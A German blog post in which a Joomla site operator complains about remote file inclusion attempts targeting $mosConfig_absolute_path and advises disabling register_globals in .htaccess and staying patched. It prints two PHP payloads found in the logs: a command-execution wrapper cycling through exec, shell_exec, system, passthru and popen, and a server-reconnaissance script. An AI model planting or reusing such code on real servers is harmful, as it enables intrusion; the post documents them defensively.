Bekackte Scriptkiddies

Einige meiner Projekte basieren auf Joomla (natürlich fast immer die letzte Version, damit bekannte Sicherheitslücken nicht ausgenutzt werden können). Seit heute beobachte ich auf einem Projekt, dass massivst versucht wird, die Variable $mosConfig_absolute_path zu manipulieren durch externe Files.

Natürlich ist alles in der .htaccess durch

php_flag register_globals off
php_value register_globals off

geschützt, aber es nervt trotzdem, ständig sowas in den Logfiles zu lesen.

Zum Teil wird versucht, irgendwelche Komponenten anzugreifen, die eh nicht installiert sind (z. B. MamboWiki), zum Teil geht es aber auch über die unvermeidbare com_content-Komponente.

Bei den Einschleusversuchen findet man so lustige Dateien wie z. B.

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = ";
if (!empty($cfe)){
if(function_exists("exec")){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists("shell_exec")){
$res = @shell_exec($cfe);
}
elseif(function_exists("system")){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists("passthru")){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

oder auch

<?php
function ConvertBytes($number)
{
$len = strlen($number);
if($len < 4)
{
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6)
{
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9)
{
return sprintf("%0.2f Mb", $number/1024/1024);
}

return sprintf("%0.2f Gb", $number/1024/1024/1024);

}

echo "bsdcr3w<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "We was here … and u no !!!<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

Falls jemand das gleiche oder ein ähnliches Problem hat, empfehle ich dringend die oben genannten Zeilen in der .htaccess zu ergänzen und natürlich das System aktuell zu halten.

Ich finde das ganze jedenfalls ziemlich…

Schreib nen Kommentar

Deine Emailadresse wird nie veröffentlicht oder weitergegeben. Pflichtfelder sind mit * gekenntzeichnet

*
*